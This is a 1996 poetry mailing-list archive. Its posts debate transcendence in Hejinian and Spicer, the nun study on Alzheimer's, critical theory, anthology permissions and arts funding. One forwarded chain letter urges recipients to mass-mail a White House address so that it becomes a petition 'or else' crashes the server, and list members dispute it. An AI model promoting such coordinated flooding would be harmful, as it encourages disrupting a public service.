Also, Christopher Beach wrote re Lyn H.: "I mean transcendental in the sense of making space for the irrational, for the "poetic," whatever that is. I'm not sure ifit is exactly "religious," but "meditational," perhaps?" Can certainly see the meditational in Lyn, & lines of hers like "This irritation changes life into a sequence of time lapses" or "Solicitude had for several days now developed a theory, a / polemic / I have not isolated the active element of my medium -- my / medium is mediation / Aesthetic impression swimming clockwise / the eyes and cheeks of hate / An angel's violent ways" (from _Oxata pg 51) -- Now, there's an angel in there, but it's violent in a situation where "mediation" is the "medium" -- I would say, off-the-cuffily (beat that one c.s.) -- that there seems to be an interest, at times, in a _language of transcendence_ in Lyn's work but no real belief (or at least a very strong distrust) in it as an experience outside of language. Kind of like Heidegger's "throwness" but the language-ball getting caught by Wittgenstein. Hank, is L.H. still down there, maybe she'd like to chime in on this. . . --Rod

↑ Index

560. **Steve Carll**
Re: re : beyond L or M
Wed 21 Feb 1996

"The geranium in the urn became startlingly visible and, displayed among its leaves, he could see, without wishing it, that old, that obvious distinction between the two classes of men; on the one hand the steady goers of superhuman strength who, plodding and persevering, repeat the whole alphabet in order, twenty-six letters in all, from start to finish; on the other the gifted, the inspired who, miraculously, lump all the letters together in one flash--the way of genius. He had not genius; he laid no claim to that: but he had, or might have had, the power to repeat every letter of the alphabet from A to Z accurately in order. Meanwhile, he stuck at Q. On, then, to R."

--Virginia Woolf, _To The Lighthouse_

↑ Index

561. **Jordan Davis**
Rrrr: beyond L or M
Wed 21 Feb 1996

Drat! I wadded it into the recycle bin, the photocopy of the article from the Times on the correlation between clear prose and the onset of Alzheimer's. Jordan

↑ Index

562. **Jordan Davis**
Regaled with ecstasies
Wed 21 Feb 1996

Jackson Mac Low (hello Jackson) once told me that it was
really stretching things to call him a Language Poet
since his publishing and performing activities preceded
L=A=N=G=U=A=G=E magazine by a few decades. I think
what Messrs Wallace Stroffolino and Beach are talking
about--torch-passing--has more to do with that great
subject of literature, hubris, than with how writing
has changed in the last five years. And Mark, I know
you know I was kidding. The subject of the study of
the recent present should not be the mediation
of power from one group to another but how to remain
alert, how to recognize what's going on in time.

Later,
Jd

↑ Index

563. **Robert Drake**
Re: Rrrr: beyond L or M
Wed 21 Feb 1996

> *Drat! I wadded it into the recycle bin, the photocopy of the article from the Times on the correlation between clear prose and the onset of Alzheimer's.*

"Diaries Used to Predict Disease...

In a study based on the diaries of young women about to join an order of nuns, researchers reported that the women's writing styles when they were in their twenties predicted with uncanny accuracy which of them would be severely demented with Alzheimer's disease six decades later.

The nuns whose sentences were gramatically complex and packed with ideas when they were in their twenties remained sharp of mind when they were in their eighties. In contrast, almost all those whose sentences were simple and comparatively devoid of complex grammatical constructions were demented six decades later."

read aloud at our breakfast table this morning...

lbd

↑ Index

564. **Wystan Curnow**
Re: challenges: re: Joe's post(long)
Wed 21 Feb 1996

Dear Henry, When I read Joe's post--which I've since deleted apparently--I thought he was asking a somewhat different question. Or, rather, assuming that Blasing's position/critical practice implied a poetics. Doesn't it? Like the rest I ain't read the book either, so your quotation opened a small window. I have to say it looks a pretty ugly out there. Writers like that neither know what they are saying nor care much. They write as if poets were stupid--certainly not as bright as they are. They are so sure of the intelligence they imagine belongs to the institutional discourse they use, of that is its 'naturalness', that they are perhaps unlikely to write otherwise. 'The prevailing DOGMA that the specialness of poetic language lies in the inseparability of its form and content then appears to be an historically specific IDEOLOGY, a particular CONVENTION of getting from the CONVENTIONALITY of the signifier to

intentional meanings.' Wha..? DOGMA=IDEOLOGY=CONVENTION????? I should read this book?

Wystan

↑ Index

565. William Howard

Re: Milton (on freedom of the press) & Bakhtin's "chronotope"

Wed 21 Feb 1996

Yes, *Areopagitica* is a good place to begin reading Milton for his views on censorship; but--perhaps you're already aware of this--DON'T FORGET to read his later prose tracts as well: (see especially *Eikonoklastes* and *The Tenure of Kings and Magistrates*). During the Commonwealth's brief moment in British history, Milton held the official position of Secretary of Foreign Tongues (i.e. the State Censor) and also defended Charles's execution.

So, what's the moral of (t)his story?

A: Freedom (of expression) within limits?
B: Conditions of the publishable and of the sayable?
C: The return of the repressed?

As Susan Howe suggests in her marvelous book, *a bibliography of the king's book; or, eikon basilike*, (and as I will here assert), a consideration of such an ethical question might first begin with the given-ness of the texts themselves:

"to the reader the work"

In other words, one ought to begin by looking at the sheer differences, the discontinuities between texts, and, in turn, at the specific social and personal predicaments which such differences bespeak.

On Bakhtin's "chronotope", see also *The Culture of Literacy* by Wlad Godzich. Godzich has some very useful and provocative thoughts (in the last two chapters) about reading Bakhtin's formulation of the "chronotope" in relation to his own notion of "discursive creativity."

Best wishes,

W. Scott Howard
[redacted]

↑ Index

566. **Wystan Curnow**
Re: We all break for laokoon
Wed 21 Feb 1996

Jordan, I'm working on poetry and wall climbing in New Zealand. This is not a thing you have in the us of A, i beleive, but in this sports mad country of mine wall climbing has developed a considerable following. Since it began to be televised there's been talk of professionalising it like rigby and league. Poet wall climbers (and their'drivers'--they're the people who assist the climbers in their endeavours) are a standard feature of readings in Auckland now. Maybe there's a place for them on the bill of some of your 'slams' that I hear about. Incidentally, do your slams include bungy jumpers? Wystan

↑ Index

567. **Wystan Curnow**
Re: We all break for laokoon
Wed 21 Feb 1996

Dear Charles, Yep, yep, Siah Armijani. I see his stuff around. I'm not too impressed with his taste in poetry though he makes quite a play with it in an art world which usually doesn't know the difference. Am I being unfair, are there any fans of his out there? What interested me was the sculptural side or installation side, 'the reading room'. So, that's my topic for you, Jordan, and the list: 'poetry and the reading room' What about it? Wystan

↑ Index

568. **Wystan Curnow**
Re: Poetry & Sculpture, etc.
Wed 21 Feb 1996

Dear Alan, I never saw Lust-Mord so maybe I'm wrong, but I thought she began to lose it with Laments, i.e. when she starting writing poetry, least that is my shorthand for the change in her texts that brought on a change in the weather of my response o. Wystan

↑ Index

569. **Andrew Robert Maxwell**
Re: 103d Street
Wed 21 Feb 1996

From a funiculus faraway...

The a-1 original Charles Wright lives in Cerritos with his wife and child, still makes and produces some purdy bahdarse stellar fungk, and has even helped

arch-rivy Bill Withers make a record (pretty generous after the fella goes and steals the rhythm section). Warner released a "Best-of" about a year or so ago.

Word is Mr. Wright may release a single this year with "some of the bigger rap names around." Until then, he is working on his autobiography, _The Uphill Climb of Water_, as well as a study of racism in the news media.

Who needs Nike when you can express yourself?

augusta

↑ Index

570. Dan Raphael Dlugonski
Species of Abandoned Light
Wed 21 Feb 1996

Just finished an excellent and energizing book of poetry, Species of Abandoned Light, by Jake Berry (Pantagraph Press). Berry combines several streams of language/consciousness, to tap into the archetypal time-flow of language-energy.

I think perhaps Berry and some other poets like Ivan Arguelles and Sheila Murphy are an interweaving of LANGUAGE and Black Mountain poetry (particularly that of Duncan). Don't know if there's a term for what these folks et al are doing.

Appreciate any reactions, suggestions of other related writers. Some of the people involved with Cyanosis (a magazine that's only had two issues a couple years apart, but is quite powerful in various ways.), for example, or with Talisman magazine.

↑ Index

571. MAXINE CHERNOFF
Re: Rrrr: beyond L or M
Wed 21 Feb 1996

"Alzheimer's is a thinking disease," said David Snowden, associate professor of preventative medicine at the University of Kentucky. "It seems plausible that if you can develop your thinking ability, you might be protected against the thinking diseases later on."

"The way you use words reflects a fundamental way you do your thinking," he said. "Language may be a marker of general mental ability."

In what is being called "the nun study," 93 nuns now in their 80s had their current mental abilities judged against a biographical essay they wrote as initiates (around age 22). Ninety percent of those now suffering from

Alzheimer's wrote their essays in a comparatively simple style. Those whose writing style showed complexity, on the other hand, tended not to contract the disease. The New York Times article of yesterday suggested that the degeneration we call Alzheimer's may begin early in life; it may also be diagnosed with a writing sample.

Complexity of style is therefore a sign of mental health. By this logic, language poets are more mentally healthy than some other poets.

Paul Hoover

On Wed, 21 Feb 1996, Jordan Davis wrote:

> *Drat! I wadded it into the recycle bin, the photocopy of the article from the Times on the correlation between clear prose and the onset of Alzheimer's.*
> *Jordan*

↑ Index

572. **Charles Alexander**

Re: We all break for laokoon

Thu 22 Feb 1996

> *Dear Charles,*
> *Yep, yep, Siah Armijani. I see his stuff around. I'm not too impressed with his taste in poetry though he makes quite a play with it in an art world which usually doesn't know the difference. Am I being unfair, are there any fans of his out there? What interested me was the sculptural side or installation side, 'the reading room'. So, that's my topic for you, Jordan, and the list: 'poetry and the reading room' What about it?*
> *Wystan*

No, Wystan -- can't say I'm an Armijani fan. He does seem to be something of a local hero around here, what with the walker art center in his corner. I understand they are mounting some kind of major exhibition of his work (can't show the bridges, but other works & sketches, I suppose, and prints) in a year or so. And now he's doing a bridge for the Olympics in Atlanta.

And for a lot of sculptural book arts works, language is a gesture, or a rather simple one-line insight, more than a "reading room." On the other hand, I am still committed to the space of the book, taken conventionally or experimentally (inventing possible forms for books), as "reading room." But in the case of the latter kinds of books, the room must be read as much as the text.

charles

↑ Index

573. Chris Stroffolino
Re: 103d Street
Thu 22 Feb 1996

Thank you Andrew Robert Maxwell for the information on Charles Wright. Let us know when the book comes out.....chris s.

↑ Index

574. Patrick J Schultz
FW: FEB 29 (fwd)
Thu 22 Feb 1996

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

just thought i'd let you guys know that this is going on. Thanks.

Pat

To whoever may read this,

By passing it on to as many people as you can, you are taking part in what may yet become the world's biggest practical joke. The U.S. Government has recently passed an act which enforces censorship on the internet. A group of internet users has now come together to kick back at this oppression, and have a bit of fun at the same time. The aim of this exercise is to re-establish the United States as "The land of the Free", not a fascist state where freedom of speech and thought are curtailed. Communist Russia fell as a result of s uch limits being placed upon the minds of the general populus. On receiving this letter, please pass it on to as many friends or E-mail lists as you can. We predict that if everybody copies the lette r to 5 other addresses, by February 29th 1996, this letter should have reached in excess of 2 million people. That's when the fun begins..... On February 29th, please send the message:

Dear Mr. President,
Do you remember this:

And afterwards enclose the pre-typed copy of the Bill of rights. By sending the letter on the date above, you will contribute to either one huge petition for freedom, or else lead to a crash of the whitehouse server.Send all letters to: [redacted]

Remember that solidarity is the key to success !!!!!

THE BILL OF RIGHTS

Amendment I

Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances.

Amendment II

A well regulated militia, being necessary to the security of a free state, the right of the people to keep and bear arms, shall not be infringed.

Amendment III

No soldier shall, in time of peace be quartered in any house, without the consent of the owner, nor in time of war, but in a manner to be prescribed by law.

Amendment IV

The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.

Amendment V

No person shall be held to answer for a capital, or otherwise infamous crime, unless on a presentment or indictment of a grand jury, except in cases arising in the land or naval forces, or in the militia, when in actual service in time of war or public danger; nor shall any person be subject for the same offense to be twice put in jeopardy of life or limb; nor shall be compelled in any criminal case to be a witness against himself, nor be deprived of life, liberty, or property, without due process of law; nor shall private property be taken for public use, without just compensation.

Amendment VI

In all criminal prosecutions, the accused shall enjoy the right to a speedy and public trial, by an impartial jury of the state and district wherein the crime shall have been committed, which district shall have been previously ascertained by law, and to be informed of the nature and cause of the accusation; to be confronted with the witnesses against him; to have compulsory process for obtaining witnesses in his favor, and to have the assistance of counsel for his defense.

Amendment VII

In suits at common law, where the value in controversy shall exceed twenty dollars, the right of trial by jury shall be preserved, and no fact tried by a jury,

shall be otherwise reexamined in any court of the United States, than according to the rules of the common law.

Amendment VIII

Excessive bail shall not be required, nor excessive fines imposed, nor cruel and unusual punishments inflicted.

Amendment IX

The enumeration in the Constitution, of certain rights, shall not be construed to deny or disparage others retained by the people.

Amendment X

The powers not delegated to the United States by the Constitution, nor prohibited by it to the states, are reserved to the states respectively, or to the people.

_____ For list info, send a message containing only the word HELP to: [redacted]

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575. **Alan Sondheim**
Re: FW: FEB 29 (fwd)
Thu 22 Feb 1996

I am very much against chain letters on the Net; they create havoc at various sites, and in fact can get users kicked off ISPs. Please do not send them out for any reason. They're trash.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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576. **Ron Silliman**
Re: legacies
Thu 22 Feb 1996

> "Transcendental" does not have to mean unrigorous or
>ideologically naive. I mean transcendental in the sense of making
space for the irrational, for the "poetic," whatever that is. I'm not
sure if it is exactly "religious," but "meditational," perhaps?
>

>C Beach
>
How would you describe a poet like Spicer, who certainly has room for the irrational, but who comes fairly close to a space I would describe as Calvinistic athieism. Not exactly transcendental, not exactly meditative.

Ron Silliman

↑ Index

577. **Ron Silliman**
Re: Rrrr: beyond L or M
Thu 22 Feb 1996

Jordan,
>
>Drat! I wadded it into the recycle bin, the photocopy of the article from
>the Times on the correlation between clear prose and the onset of
>Alzheimer's.
>Jordan
>
My wife read it aloud over breakfast. Basically, if you're a nun, there's a predictable correlation between the richness of your linguistic usage and your ability to stave off Alzheimer's. Richness is defined as "ideas per sentence," with a bias toward maximum density of ideas.

But as I pointed out to her, this does not explain Oppen in the slightest.

All best,
Ron
(a Z poet)

↑ Index

578. **Sheila E. Murphy**
Re: Rrrr: beyond L or M
Thu 22 Feb 1996

In what is being called "the nun study," 93 nuns now in their 80s had their current mental abilities judged against a biographical essay they wrote as initiates (around age 22). Ninety percent of those now suffering from Alzheimer's wrote their essays in a comparatively simple style. Those whose writing style showed complexity, on the other hand, tended not to contract the

disease. The New York Times article of yesterday suggested that the degeneration we call Alzheimer's may begin early in life; it may also be diagnosed with a writing sample.

Just as an aside, the study referenced doesn't ring true intuitively as so many such studies seem to do. That feeling of "ahh...I suspected as much" just didn't happen here. Those having Alz. I've known most closely were gifted with language, demonstrated complexity in their writing (to the best of what I've known). Therefore, the study perplexes me.

A personal note, based upon a situation that has brought incredible pain to me, in the loss we've suffered as a result of the disease.

Sheila Murphy

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579. **Michael Boughn**

Re: legacies

Thu 22 Feb 1996

> *How would you describe a poet like Spicer, who certainly has room for the irrational, but who comes fairly close to a space I would describe as Calvinistic athieism. Not exactly transcendental, not exactly meditative.*
>
> *Ron Silliman*

In some ways, Spicer seems the reluctant inheritor of Keats' "negative capability" with an attitude. Where the "penetralium of the mystery" is simply what Robin Blaser, in that beautiful essay on Olson's violets, calls "the depth of the world". But with Spicer always grotesquely and painfully funny. God as a big white baseball.

Mike

[redacted]

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580. **FUNKHOUSER CHRISTOPH**

ESAD

Thu 22 Feb 1996

by Gerald Burns, p. 8,
paragraph 6, EXQUISITE CORPSE, no. 55 , brand new:

article titled PEASANT LITERATURE, about translation
& influence

"This includes a new crop of thinkers, the college
folks who think of themselves as Theorists. In this
connection the anonymous pamphlets coming out of
somewhere (Buffalo?) purporting to be by Edgar
Poe -- so far I've seen contemporized versions of the
"Letter to B--" and a review of Lew Daly's _Swal-
lowing the Scroll_" -- are tremendous good fun, simply
from the abutting of that lovely snarling prose against
Our Moderns, as if it really were Poe's brand-new
fresh response. Even if they weren't well-done it
would be funny. But they are well done, and as such
are the liveliest possible reminders of what recent
US writing lacks, an astringently stylish style. My
heart warmed to the two I've seen, I am _refreshed_ by
them, because only our best writing survives being
embedded as quotes in a Poe-ish matrix, and from
the joy at seeing that Poe's approach, his manner of
proceeding, is utterly modern -- if anything gains
from being applied to current material. The effect is
less pastiche than vindication."

> If you haven't seen any of this Poe yet, go
> to the DIU archives, at the EPC
> http://writing.upenn.edu/epc/ezines/diu
>
> Poe's critiques & pronouncements begin around issue 20
>
> A recent DIU contains an article on
> A POETICS OF CRITICISM, which would probably be of interest
> to those following recent threads 'round here

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581. Henry Gould
saddled with Blasing
Thu 22 Feb 1996

Wystan, You said you looked through the Blasing window briefly & it looked cold outside. Well, where I come from when it gets cold we put on our coats & go ice fishing. I don't defend Blasing's particular brand of academic turgidity, but in her case I think there's some substance to it. I don't think poets are required to master or even read such huffaguff; but if they're going to see critical superiority complexes everywhere & separate poets from critics, they

might as well hang up their skates. Isn't that something the Langposse has taught us? - Henry Gould

↑ Index

582. **Eryque Gleason**
Re: FW: FEB 29 (fwd)
Thu 22 Feb 1996

> *I am very much against chain letters on the Net; they create havoc at various sites, and in fact can get users kicked off ISPs. Please do not send them out for any reason. They're trash.*
>
> *Alan*

Alan, good point, chain letters can get users punished, but this wasn't exactly a chain letter, more of a mass mailing--which i've never known to get anyone in trouble, as long as they choose a fairly responsible distribution, and the content was pretty clean. A distribution like the one in question is no different than anything else we post to the list.

I appreciate people passing this information along. This is the most, um...juvenile movement against the CDA I've seen so far, but i think that ultimately it'll be helpful.

Eryque

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583. **Aldon L. Nielsen**
Re: the none study
Thu 22 Feb 1996

UCLA Library does not yet have the Blasing book, nor is it in any store here -- but I'm gonna get that sucker & read it somehow!!!

this makes Blasing's book, at the moment, a transcendent problem for me.

curious about the uses of that word "transcendent" here -- it should not really be synonymous with "poetic" or with "inspiration" -- & I suspect folk want to make it so out of a generally positive feeling about those htree words in tandem --

or three words, for that matter

maybe in the sense that the poetic often exceeds the "usual limits," but so do most drivers on the freeway, and I don't think that's what's meant by the usage here of late --

what us inspired, poetical materialist types object to is claims to transcendence from other poets who tell us that they are in contact with something "beyond material existence or apart from the universe" or "something beyond the limits of experience and knowledge" -- that is, few poets on the list mean by "transcendence" the logical sense of being an a priori condition; and I get myself in an uproar when confronted with claims that the "poetic" or "inspiration" are something unknowable or apart from experience, especially since this can usually be translated as "I have access to this inaccessible realm and you don't" --

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584. **Henry Gould**
Re: the none study
Thu 22 Feb 1996

Aldon, maybe you can get the Blasing book through interlibrary loan. The only other thing I can suggest is headin up to City Lights & stealing it from Ferlinghetti's loft. He's been consulting it for years. Believe me, the transcendent criminality of such a course of action would be well worth the bus fare.

Your comments on the symboliste aspirations behind "transcendence" remind me of Acmeist poet Gumilev's retort to his fellow Russian symbolists: "The Divine Unknown is by definition unknowable." - Henry Gould

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585. **Peter Baker**
Re: POETICS Digest - 19 Feb 1996 to 20 Feb 1996
Thu 22 Feb 1996

In response to the posting about never having seen the entire text of Stein's _Lifting Belly_. I have an edition edited by Rebecca Mark,

The Naiad Press
PO Box 10543
Tallahassee, FL 32302
ISBN 0-941483-51-7
$8.95

Well worth owning, even for non-book-fetishists.

Peter Baker

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586. **Christopher J. Beach**
Re: legacies
Thu 22 Feb 1996

Ron--I'm not sure exactly what "Calvinistic atheism" would be, but I do think that Spicer was working both within and against a transcendental tradition, both back thru poets like Lorca and Rilke, and in dialogue with Duncan and Blaser. The meditative in Spicer would have to do with the poetic process itself, the process of "dictation"--having the furniture in the room and waiting for the signal from outside (from Mars or wherever) to come in and write the poem.

C Beach

On Thu, 22 Feb 1996, Ron Silliman wrote:

> *How would you describe a poet like Spicer, who certainly has room for the irrational, but who comes fairly close to a space I would describe as Calvinistic athieism. Not exactly transcendental, not exactly meditative.*
>
> *Ron Silliman*

↑ Index

587. **Larry Price**
& Hobbes
Thu 22 Feb 1996

Ron Silliman asked:

"How would you describe a poet like Spicer, who certainly has room for the irrational, but who comes fairly close to a space I would describe as Calvinistic athieism. Not exactly transcendental, not exactly meditative."

I think the issue in Spicer has two parts, both having to do with the "afflatus": The first is the relation of the afflator and afflatum to what was a perceived social miasm. That is, the reduction of social scale to that of The Place was one reaction to the perception of The King of May as an aspect of the Big Lie. If the Fix was on, then "running up the back of the old flash" involved not just the age or physical condition of the old flash but possibly and more pointedly his relation to the bosses. That is, the afflatus itself becomes devalued in the comparison.

The second is, of course, the SOURCE, hence the stated parallel with the meditative, in that, the answers (ie, God =) come from all over (a big white

baseball; the ocean does not mean to be listened to; no big lightless automobile for him--if he is hit, let them show it; sea birds shit on it; etc.). That is, the devaluation of afflatus leads to a social insecurity of space propagating itself in an order of vehicular love objects, a dysfunctionalized intensity organizing context as what NEEDS disjunction in order to be available, the sometimes bad irregular precipice eros can trace outside us.

What's puzzling to me is that Calvinist remainder, the by-product. If the investigation of source pushes him to a singleness of purpose if not of response, it's still curious that, as Blaser said of him, he never could forgive the occasion of his own birth. So that version of Orpheus as against the Sophie Tucker version Duncan said he was after. Which is a curious dualism for such an antidualist to get stuck with. Eventually sending up that CHEAP SLEEP OVER THERE flare.

lp

↑ Index

588. John E. Matthias
David Jones & Faber
Thu 22 Feb 1996

Regarding David Jones, Faber and Faber, Poems for the Millennium

There are ways to deal with Faber's permissions demands, but one must be tenacious. Back about twenty-five years ago when I edited 23 Modern British Poets I simply paid what they asked. This meant that two Faber poets got about half the permissions budget between them. However, when I was working on David Jones: Man and Poet and Selected Works of David Jones (National Poetry Foundation & University of Wales Press) I found that I could negotiate reductions through people like John Bodley, Rosemary Goad, and even Mavis Pindard, the permissions manager. One must keep at it. In 1992, for example, Bodley wrote that he would "recommend the rights dept to charge reduced rates, since this is in a good cause." I wonder how hard the permissions people at California worked on the problem. David Jones is such a wonderful poet that it's sad to find him missing from yet another context--Poems for the Millennium--that would find him new readers and put his work in the hands of possibly sympathetic readers. His work desperately needs a nudge at the moment. He appears in very few anthologies and, when he does appear, selections are usually inadequate. He is, of course, difficult to antholigize (but then so are about half of the poets in Poems for the Millennium). At any rate, I have found in the past that it is possible to negotiate with Faber. It's not pleasant, but it's possible. It takes a lot of time. The time is well spent, however, if in the end it produces the poems.

John Matthias

↑ Index

589. **Chris Stroffolino**
Re: the none study
Thu 22 Feb 1996

Aldon raises a good critique of "transcendental" But I'm not so sure that this question of a discourse of the transcendental need in every case mean "I have access to this inaccessible realm and you don't" in a kind of snooty way. Perhaps it is a much of a "nominalist" issue as much as a "realist" one. In the sense that this "you" that the "I" of certain poems may claim its "superior" can be read as something "inside" that speaker as much as outside. To me, poems that may appeal to the "transcendental" are in some ways not so different from a more "radical skepticism" and both modes can be aligned in critiquing the unreflective language of "nature" as a given. Chris S.

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590. **Wendy Battin**
query: book distribution
Fri 23 Feb 1996

I'll be part of a panel on electronic publishing at the AWP Convention in Atlanta this April; I'll be doing a presentation on using the internet to keep books in print, to distribute them despite the economic pressures that are driving small & university presses out of bookstores, etc. (Given all the scares about internet as the death of the book, it seems important to turn attention to the alternate economy the net can sustain.) I've run across a few instances of small presses and bookstores marketing their stock on mailing lists and on the web; I'd like to know more and to make these resources more widely available, and this convention seems like a good start. If you know of major distributors on-line--especially those dealing with small press books--or poetry bookstores, presses, samisdat networks with websites or email addresses, please send them to me, and I'll see that they're distributed as widely as I can manage. I'll get them out at AWP, and I'll post them on the CAPA site as well.

Many thanks,
Wendy

Wendy Battin
[redacted]

Contemporary American Poetry Archive
http://camel.conncoll.edu/library/CAPA/capa.html

↑ Index

591. Susan Schultz
TINFISH is coming!
Fri 23 Feb 1996

TINFISH #2 is imminent. Contibutors include: Joe Balaz, Charles Bernstein, Jonathan Brannen, Eric Chock, Alison Georgeson, Richard Hamasaki, Hank Lazer, Carolyn Lei-lanilau, Sheila E. Murphy, redflea, Joan Retallack, Chris Stroffolino, Terese Svoboda, Mark Wallace, Zhou Yaping, Murray Edmond, and many others from Hawai'i, California, New Zealand, Australia, China, and the mainland USA.

To get a copy, send $3 to Susan M. Schultz, 1422A Dominis Street, Honolulu, HI 96822.

Or, wait a while and look for TINFISH at the Electronic Poetry Center.

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592. Stephen Galen Cope
PBS, NPR
Fri 23 Feb 1996

In light of recent attention given to poetry in public media (the Holman series and LINEbreak come to mind) as well as for obvious other reasons, the following seems well worth our signatures...

PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, the government officials believe that

the funding currently going to these programs is too large a portion of funding for something which is seen as "unworthwhile".

Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in total. A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.

Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have

each bill signed by the beginning of the fiscal year, which is October 1. In the instance of the Corporation for Public Broadcasting, the bill determines the funding for the next three years. When this issue comes up in 1996, the funding will be determined for fiscal years 1996-1998.

The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard. Please add your name to this list if you believe in what

we stand for, and then forward the list to anyone else you think might want to sign it. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs. If you happen to be the 50th, 100th, 150th, etc. signer of this petition, please forward a copy to [redacted]. If that address is inoperative, please use [redacted]. This way we can keep track of the lists and organize them. Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

> 1.) Elizabeth Weinert, Greeley, Colorado.
> 2.) Robert M. Penn; San Francisco, CA
> 3.) Gregory S. Williamson, San Francisco, CA
> 4.) John T. Gifford, Boston, MA
> 5.) Michael S. McGovern, Sudbury, MA
> 6.) Thomas E. Kelleher, Montclair, NJ
> 7.) Steven J. Mulroy, Alexandria, VA
> 8.) Mark Curtis Raby, Washington, DC
> 9.) H. Kimberlie Young, Charlottesville, VA
> 10.) Gary L. Sirota, Solana Beach, California, Registered Voter!
> 11.) Helge Weissig, Solana Beach, CA
> 12.) Rae Ann Bories, La Jolla, CA
> 13.) Cecily M. Peterson, Northampton, MA
> 14.) Chris Rohmann, Northampton, MA
> 15.) Dina Friedman, Northampton,
> 16.) Shel Horowitz, Northampton, MA
> 17.) Chuck Larkin, Atlanta, Georgia
> 18.) Gus Makreas, Millbrae, CA
> 19.) Richard Ahrens, San Jose, CA
> 20.) Patrick Marion, Cupertino, CA
> 21.) Sally Bonsack, Spokane, WA
> 22.) Walter Bonsack, Spokane, WA
> 23.) Andrea Vine, Mtn. View, CA

> 24.) GIna Blus, San Francisco, CA
> 25.) Juliet Lamont, Berkeley, CA
> 26.) Carter Brooks, San Francisco, CA
> 27.) Michael Shantzis, San Francisco, CA
> 28.) Heidi Stettner, Berkeley, CA
> 29.) Deborah Scherrer, Castro Valley, CA
> 30.) Margaret Stehle, Palo Alto, CA
> 31.) Kristiana Kincaid, Santa Cruz, CA
> 32.) Neal Johnson, Williamsville, IL
> 33.) Doris Gitzy, Cedar Rapids, IA
> 34.) Andrew Gitzy, New York, NY
> 35.) Heather Devitt, New York, NY
> 36.) Lloyd P. Pratt, Providence, RI
> 37.) Eric Reyes, Providence, RI
> 38.) Steven Shum, Riverside, CA
> 39.) Eric C. Wat, Los Angeles, CA
> 40.) David H. Maruyama, Los Angeles, CA
> 41.) Linda Mabalot, Los Angeles, CA
> 42.) Tran T. Kim-Trang, Los Angeles, CA
> 43.) Daniel Mirer, Brooklyn, NY
> 44.) Monica Chau, Los Angeles, CA
> 45.) Stacy H. Hoshino, New York, NY
> 46.) Clay Debevoise, New York, NY
> 47.) Roz Dimon, Ne York, NY
> 48.) Heather J. Kelley, Austin, TX
> 49.) Doug McNamara, St. Paul, MN
50.) Tim King, Minneapolis, MN
51.) Paul Filiatrault, Minneapolis, MN
52.) Denman Maroney, Monsey NY
53.) Stephen Cope, Santa Cruz, CA

↑ Index

593. Michael Boughn
transcendence
Fri 23 Feb 1996

Regarding transcendence, WCW has it straightforwardly as "something they believed was above their heads." Which I think translates in Cavell into "the human restlessness in the ordinary which leads to a beyond or before." Still, having got here, who's going to claim to know where here is?

Mike
[redacted]

↑ Index

594. Jonathan A Levin
Re: the none study
Fri 23 Feb 1996

I can't let the transcendentalism dialogue slip away--this being something I think about, well, almost all the time. Here's Emerson, in his great essay on Shakespeare: "A poet is no rattlebrain, saying what comes uppermost, and, because he says every thing, saying, at last, something good. There is nothing whimsical and fantastic in his production, but sweet and sad earnest, freighted with the weightiest convictions, and pointed with the most determined aim which any man or class knows of in his times." The essay does everything it possibly can to demystify Shakespeare's genius, to make it a matter of his sheer unoriginality: "Great genial power, one would almost say, consists in not being original at all; in being altogether receptive; in letting the world do all, and suffering the spirit of the hour to pass unobstructed through the mind." Or, elsewhere in the essay: "Thus, all originality is relative. Every thinker is retrospective." The essay is full of such gems--and it's not at all an "exceptional" essay in the canon. Emerson's Transcendentalism--and its the transcendentalism that haunts many an American writer, including those like Melville and James and Pound who thought they knew better--is always aware of, say, the worldedness of what Emerson called (after a "Mrs. B") "the little beyond." I go on at infinite length about this elswhere--suffice to say (in brief) that I think of pragmatism as a project of making explicit this worlded (Rorty likes to say contingent) transcendentalism.

From just a very little beyond--

Jonathan Levin

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595. R I Caddel
poetry 'n' sculpture
Fri 23 Feb 1996

Ah - this was a thread a while back and I kept meaning to report on the Bunting Centre's two current commissions:

1. We've commissioned a proposal from Ian Hamilton Finlay for the University's Botanic Gardens: we have the proposal, hope to have the completed piece (a stake of green oak with an inscription cut in it, surrounded by foxgloves) installed later this year. The text is:

6745231
6472513
4675231

6457321
6543712
5647321
6574312
5673421
6537412
5634721
5367412
3576142
5371624

- Hope I got the spelling right. One of the Cathedral bellringers looked at it and murmured "aaahh! lovely".

2. Predictably, we're commissioning an inscription for Bunting (again, for the Gardens). To be cut in Cumbrian green slate by the David Kindersley workshop, it'll say, you guessed it, "Words! Pens are too light. Take a chisel to write". It's a text which DK had on his wall before we asked him. The various authorities were concerned that it might be seen as an incitement to vandals. This is a very small town...

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "67452! 6472 [redacted]6. 4573 2 16543 71 25647." x x - Bunting / Finlay
x x x

↑ Index

596. **Jerry Rothenberg**
Re: David Jones & Faber
Fri 23 Feb 1996

What to say further about David Jones, Faber & Faber, and all of that? Or how much time would be needed to break them down -- this in the context of an 800-page book & a permissions budget small enough to make a grown man cry? Be that as it may, a tremendous amount of time was spent -- with letters, faxes, phone calls -- from ourselves & our publishers -- budged them hardly at all. On the other hand, notoriously hard presses (Gallimard, Suhrkamp as examples) came into reasonalbe territory after a couple of exchanges. So what to do --

